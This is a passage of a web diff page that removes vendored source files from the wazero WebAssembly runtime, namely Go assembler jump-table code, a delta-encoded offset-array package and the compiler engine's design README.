|
||||
labelInitialInstructions []Node
|
||||
}
|
||||
|
||||
// SetJumpTargetOnNext implements AssemblerBase.SetJumpTargetOnNext
|
||||
func (a *BaseAssemblerImpl) SetJumpTargetOnNext(node Node) {
|
||||
a.SetBranchTargetOnNextNodes = append(a.SetBranchTargetOnNextNodes, node)
|
||||
}
|
||||
|
||||
// BuildJumpTable implements AssemblerBase.BuildJumpTable
|
||||
func (a *BaseAssemblerImpl) BuildJumpTable(table *StaticConst, labelInitialInstructions []Node) {
|
||||
a.JumpTableEntries = append(a.JumpTableEntries, JumpTableEntry{
|
||||
t: table,
|
||||
labelInitialInstructions: labelInitialInstructions,
|
||||
})
|
||||
}
|
||||
|
||||
// FinalizeJumpTableEntry finalizes the build tables inside the given code.
|
||||
func (a *BaseAssemblerImpl) FinalizeJumpTableEntry(code []byte) (err error) {
|
||||
for i := range a.JumpTableEntries {
|
||||
ent := &a.JumpTableEntries[i]
|
||||
labelInitialInstructions := ent.labelInitialInstructions
|
||||
table := ent.t
|
||||
// Compile the offset table for each target.
|
||||
base := labelInitialInstructions[0].OffsetInBinary()
|
||||
for i, nop := range labelInitialInstructions {
|
||||
if nop.OffsetInBinary()-base >= JumpTableMaximumOffset {
|
||||
return fmt.Errorf("too large br_table")
|
||||
}
|
||||
// We store the offset from the beginning of the L0's initial instruction.
|
||||
binary.LittleEndian.PutUint32(code[table.OffsetInBinary+uint64(i*4):table.OffsetInBinary+uint64((i+1)*4)],
|
||||
uint32(nop.OffsetInBinary())-uint32(base))
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
-224
@@ -1,224 +0,0 @@
|
||||
package bitpack
|
||||
|
||||
import (
|
||||
"math"
|
||||
)
|
||||
|
||||
// OffsetArray is an interface representing read-only views of arrays of 64 bits
|
||||
// offsets.
|
||||
type OffsetArray interface {
|
||||
// Returns the value at index i.
|
||||
//
|
||||
// The method complexity may be anywhere between O(1) and O(N).
|
||||
Index(i int) uint64
|
||||
// Returns the number of offsets in the array.
|
||||
//
|
||||
// The method complexity must be O(1).
|
||||
Len() int
|
||||
}
|
||||
|
||||
// OffsetArrayLen is a helper function to access the length of an offset array.
|
||||
// It is similar to calling Len on the array but handles the special case where
|
||||
// the array is nil, in which case it returns zero.
|
||||
func OffsetArrayLen(array OffsetArray) int {
|
||||
if array != nil {
|
||||
return array.Len()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// NewOffsetArray constructs a new array of offsets from the slice of values
|
||||
// passed as argument. The slice is not retained, the returned array always
|
||||
// holds a copy of the values.
|
||||
//
|
||||
// The underlying implementation of the offset array applies a compression
|
||||
// mechanism derived from Frame-of-Reference and Delta Encoding to minimize
|
||||
// the memory footprint of the array. This compression model works best when
|
||||
// the input is made of ordered values, otherwise the deltas between values
|
||||
// are likely to be too large to benefit from delta encoding.
|
||||
//
|
||||
// See https://lemire.me/blog/2012/02/08/effective-compression-using-frame-of-reference-and-delta-coding/
|
||||
func NewOffsetArray(values []uint64) OffsetArray {
|
||||
if len(values) == 0 {
|
||||
return emptyOffsetArray{}
|
||||
}
|
||||
if len(values) <= smallOffsetArrayCapacity {
|
||||
return newSmallOffsetArray(values)
|
||||
}
|
||||
|
||||
maxDelta := uint64(0)
|
||||
lastValue := values[0]
|
||||
// TODO: the pre-processing we perform here can be optimized using SIMD
|
||||
// instructions.
|
||||
for _, value := range values[1:] {
|
||||
if delta := value - lastValue; delta > maxDelta {
|
||||
maxDelta = delta
|
||||
}
|
||||
lastValue = value
|
||||
}
|
||||
|
||||
switch {
|
||||
case maxDelta > math.MaxUint32:
|
||||
return newOffsetArray(values)
|
||||
case maxDelta > math.MaxUint16:
|
||||
return newDeltaArray[uint32](values)
|
||||
case maxDelta > math.MaxUint8:
|
||||
return newDeltaArray[uint16](values)
|
||||
case maxDelta > 15:
|
||||
return newDeltaArray[uint8](values)
|
||||
default:
|
||||
return newDeltaArrayUint4(values)
|
||||
}
|
||||
}
|
||||
|
||||
type offsetArray struct {
|
||||
values []uint64
|
||||
}
|
||||
|
||||
func newOffsetArray(values []uint64) *offsetArray {
|
||||
a := &offsetArray{
|
||||
values: make([]uint64, len(values)),
|
||||
}
|
||||
copy(a.values, values)
|
||||
return a
|
||||
}
|
||||
|
||||
func (a *offsetArray) Index(i int) uint64 {
|
||||
return a.values[i]
|
||||
}
|
||||
|
||||
func (a *offsetArray) Len() int {
|
||||
return len(a.values)
|
||||
}
|
||||
|
||||
type emptyOffsetArray struct{}
|
||||
|
||||
func (emptyOffsetArray) Index(int) uint64 {
|
||||
panic("index out of bounds")
|
||||
}
|
||||
|
||||
func (emptyOffsetArray) Len() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
const smallOffsetArrayCapacity = 7
|
||||
|
||||
type smallOffsetArray struct {
|
||||
length int
|
||||
values [smallOffsetArrayCapacity]uint64
|
||||
}
|
||||
|
||||
func newSmallOffsetArray(values []uint64) *smallOffsetArray {
|
||||
a := &smallOffsetArray{length: len(values)}
|
||||
copy(a.values[:], values)
|
||||
return a
|
||||
}
|
||||
|
||||
func (a *smallOffsetArray) Index(i int) uint64 {
|
||||
if i < 0 || i >= a.length {
|
||||
panic("index out of bounds")
|
||||
}
|
||||
return a.values[i]
|
||||
}
|
||||
|
||||
func (a *smallOffsetArray) Len() int {
|
||||
return a.length
|
||||
}
|
||||
|
||||
type uintType interface {
|
||||
uint8 | uint16 | uint32 | uint64
|
||||
}
|
||||
|
||||
type deltaArray[T uintType] struct {
|
||||
deltas []T
|
||||
firstValue uint64
|
||||
}
|
||||
|
||||
func newDeltaArray[T uintType](values []uint64) *deltaArray[T] {
|
||||
a := &deltaArray[T]{
|
||||
deltas: make([]T, len(values)-1),
|
||||
firstValue: values[0],
|
||||
}
|
||||
lastValue := values[0]
|
||||
for i, value := range values[1:] {
|
||||
a.deltas[i] = T(value - lastValue)
|
||||
lastValue = value
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func (a *deltaArray[T]) Index(i int) uint64 {
|
||||
if i < 0 || i >= a.Len() {
|
||||
panic("index out of bounds")
|
||||
}
|
||||
value := a.firstValue
|
||||
// TODO: computing the prefix sum can be vectorized;
|
||||
// see https://en.algorithmica.org/hpc/algorithms/prefix/
|
||||
for _, delta := range a.deltas[:i] {
|
||||
value += uint64(delta)
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func (a *deltaArray[T]) Len() int {
|
||||
return len(a.deltas) + 1
|
||||
}
|
||||
|
||||
// deltaArrayUint4 is a specialization of deltaArray which packs 4 bits integers
|
||||
// to hold deltas between 0 and 15; based on the analysis of compiling Python,
|
||||
// it appeared that most source offset deltas were under 16, so using this
|
||||
// data structure cuts by 50% the memory needed compared to deltaArray[uint8].
|
||||
//
|
||||
// Here is the distribution of source offset deltas for Python 3.13:
|
||||
//
|
||||
// - <=15 : 10240
|
||||
// - <=255 : 9565
|
||||
// - <=65535 : 1163
|
||||
//
|
||||
// Memory profiles showed that using deltaArrayUint4 (compared to deltaArray[T])
|
||||
// dropped the memory footprint of source mappings for Python from 6MB to 4.5MB.
|
||||
type deltaArrayUint4 struct {
|
||||
deltas []byte
|
||||
numValues int
|
||||
firstValue uint64
|
||||
}
|
||||
|
||||
func newDeltaArrayUint4(values []uint64) *deltaArrayUint4 {
|
||||
a := &deltaArrayUint4{
|
||||
deltas: make([]byte, len(values)/2+1),
|
||||
numValues: len(values),
|
||||
firstValue: values[0],
|
||||
}
|
||||
lastValue := values[0]
|
||||
for i, value := range values[1:] {
|
||||
a.assign(i, value-lastValue)
|
||||
lastValue = value
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func (a *deltaArrayUint4) assign(i int, v uint64) {
|
||||
index, shift := uint(i)>>1, 4*(uint(i)&1)
|
||||
a.deltas[index] &= ^(0xF << shift)
|
||||
a.deltas[index] |= byte(v) << shift
|
||||
}
|
||||
|
||||
func (a *deltaArrayUint4) index(i int) uint64 {
|
||||
index, shift := uint(i)>>1, 4*(uint(i)&1)
|
||||
return uint64((a.deltas[index] >> shift) & 0xF)
|
||||
}
|
||||
|
||||
func (a *deltaArrayUint4) Index(i int) uint64 {
|
||||
if i < 0 || i >= a.Len() {
|
||||
panic("index out of bounds")
|
||||
}
|
||||
value := a.firstValue
|
||||
for j := 0; j < i; j++ {
|
||||
value += a.index(j)
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func (a *deltaArrayUint4) Len() int {
|
||||
return a.numValues
|
||||
}
|
||||
Generated
Vendored
-112
@@ -1,112 +0,0 @@
|
||||
# Compiler engine
|
||||
|
||||
This package implements the Compiler engine for WebAssembly *purely written in Go*.
|
||||
In this README, we describe the background, technical difficulties and some design choices.
|
||||
|
||||
## General limitations on pure Go Compiler engines
|
||||
|
||||
In Go program, each Goroutine manages its own stack, and each item on Goroutine
|
||||
stack is managed by Go runtime for garbage collection, etc.
|
||||
|
||||
These impose some difficulties on compiler engine purely written in Go because
|
||||
we *cannot* use native push/pop instructions to save/restore temporary
|
||||
variables spilling from registers. This results in making it impossible for us
|
||||
to invoke Go functions from compiled native codes with the native `call`
|
||||
instruction since it involves stack manipulations.
|
||||
|
||||
*TODO: maybe it is possible to hack the runtime to make it possible to achieve
|
||||
function calls with `call`.*
|
||||
|
||||
## How to generate native codes
|
||||
|
||||
wazero uses its own assembler, implemented from scratch in the
|
||||
[`internal/asm`](../../asm/) package. The primary rationale are wazero's zero
|
||||
dependency policy, and to enable concurrent compilation (a feature the
|
||||
WebAssembly binary format optimizes for).
|
||||
|
||||
Before this, wazero used [`twitchyliquid64/golang-asm`](https://github.com/twitchyliquid64/golang-asm).
|
||||
However, this was not only a dependency (one of our goals is to have zero
|
||||
dependencies), but also a large one (several megabytes added to the binary).
|
||||
Moreover, any copy of golang-asm is not thread-safe, so can't be used for
|
||||
concurrent compilation (See [#233](https://github.com/tetratelabs/wazero/issues/233)).
|
||||
|
||||
The assembled native codes are represented as `[]byte` and the slice region is
|
||||
marked as executable via mmap system call.
|
||||
|
||||
## How to enter native codes
|
||||
|
||||
Assuming that we have a native code as `[]byte`, it is straightforward to enter
|
||||
the native code region via Go assembly code. In this package, we have the
|
||||
function without body called `nativecall`
|
||||
|
||||
```go
|
||||
func nativecall(codeSegment, engine, memory uintptr)
|
||||
```
|
||||
|
||||
where we pass `codeSegment uintptr` as a first argument. This pointer is to the
|
||||
first instruction to be executed. The pointer can be easily derived from
|
||||
`[]byte` via `unsafe.Pointer`:
|
||||
|
||||
```go
|
||||
code := []byte{}
|
||||
/* ...Compilation ...*/
|
||||
codeSegment := uintptr(unsafe.Pointer(&code[0]))
|
||||
nativecall(codeSegment, ...)
|
||||
```
|
||||
|
||||
And `nativecall` is actually implemented in [arch_amd64.s](./arch_amd64.s)
|
||||
as a convenience layer to comply with the Go's official calling convention.
|
||||
We delegate the task to jump into the code segment to the Go assembler code.
|
||||
|
||||
|
||||
## Why it's safe to execute runtime-generated machine codes against async Goroutine preemption
|
||||
|
||||
Goroutine preemption is the mechanism of the Go runtime to switch goroutines contexts on an OS thread.
|
||||
There are two types of preemption: cooperative preemption and async preemption. The former happens, for example,
|
||||
when making a function call, and it is not an issue for our runtime-generated functions as they do not make
|
||||
direct function calls to Go-implemented functions. On the other hand, the latter, async preemption, can be problematic
|
||||
since it tries to interrupt the execution of Goroutine at any point of function, and manipulates CPU register states.
|
||||
|
||||
Fortunately, our runtime-generated machine codes do not need to take the async preemption into account.
|
||||
All the assembly codes are entered via the trampoline implemented as Go Assembler Function (e.g. [arch_amd64.s](./arch_amd64.s)),
|
||||
and as of Go 1.20, these assembler functions are considered as _unsafe_ for async preemption:
|
||||
- https://github.com/golang/go/blob/go1.20rc1/src/runtime/preempt.go#L406-L407
|
||||
- https://github.com/golang/go/blob/9f0234214473dfb785a5ad84a8fc62a6a395cbc3/src/runtime/traceback.go#L227
|
||||
|
||||
From the Go runtime point of view, the execution of runtime-generated machine codes is considered as a part of
|
||||
that trampoline function. Therefore, runtime-generated machine code is also correctly considered unsafe for async preemption.
|
||||
|
||||
## Why context cancellation is handled in Go code rather than native code
|
||||
|
||||
Since [wazero v1.0.0-pre.9](https://github.com/tetratelabs/wazero/releases/tag/v1.0.0-pre.9), the runtime
|
||||
supports integration with Go contexts to interrupt execution after a timeout, or in response to explicit cancellation.
|
||||
This support is internally implemented as a special opcode `builtinFunctionCheckExitCode` that triggers the execution of
|
||||
a Go function (`ModuleInstance.FailIfClosed`) that atomically checks a sentinel value at strategic points in the code
|
||||
(e.g. [within loops][checkexitcode_loop]).
|
||||
|
||||
[It _is indeed_ possible to check the sentinel value directly, without leaving the native world][native_check], thus sparing some cycles;
|
||||
however, because native code never preempts (see section above), this may lead to a state where the other goroutines
|
||||
never get the chance to run, and thus never get the chance to set the sentinel value; effectively preventing
|
||||
cancellation from taking place.
|
||||
|
||||
[checkexitcode_loop]: https://github.com/tetratelabs/wazero/blob/86444c67a37dbf9e693ae5b365901f64968d9025/internal/wazeroir/compiler.go#L467-L476
|
||||
[native_check]: https://github.com/tetratelabs/wazero/issues/1409
|
||||
|
||||
## Source Offset Mapping
|
||||
|
||||
When translating code from WebAssembly to the wazero IR, and compiling to native
|
||||
binary, wazero keeps track of two indexes to correlate native program counters
|
||||
to the original source offset that they were generated from.
|
||||
|
||||
Source offset maps are useful for debugging, but holding indexes in memory for
|
||||
all instructions can have a significant overhead. To reduce the memory footprint
|
||||
of the compiled modules, wazero uses data structures inspired by
|
||||
[frame-of-reference and delta encoding][FOR].
|
||||
|
||||
Because wazero does not reorder instructions, the source offsets are naturally
|
||||
sorted during compilation, and the distance between two consecutive offsets is
|
||||
usually small. Encoding deltas instead of the absolute values allows most of
|
||||
the indexes to store offsets with an overhead of 8 bits per instruction, instead
|
||||
of recording 64 bits integers for absolute code positions.
|
||||
|
||||
[FOR]: https://lemire.me/blog/2012/02/08/effective-compression-using-frame-of-reference-and-delta-coding/
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package compiler
|
||||
|
||||
import (
|
||||
"github.com/tetratelabs/wazero/internal/asm"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
|
||||
// newArchContext returns a new archContext which is architecture-specific type to be embedded in callEngine.
|
||||
// This must be initialized in init() function in architecture-specific arch_*.go file which is guarded by build tag.
|
||||
var newArchContext func() archContext
|
||||
|
||||
// nativecall is used by callEngine.execWasmFunction and the entrypoint to enter the compiled native code.
|
||||
// codeSegment is the pointer to the initial instruction of the compiled native code.
|
||||
//
|
||||
// Note: this is implemented in per-arch Go assembler file. For example, arch_amd64.s implements this for amd64.
|
||||
func nativecall(codeSegment uintptr, ce *callEngine, moduleInstanceAddress *wasm.ModuleInstance)
|
||||
|
||||
// registerNameFn is used for debugging purpose to have register symbols in the string of runtimeValueLocation.
|
||||
var registerNameFn func(register asm.Register) string
|
||||
Loaded 100 of 2531 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user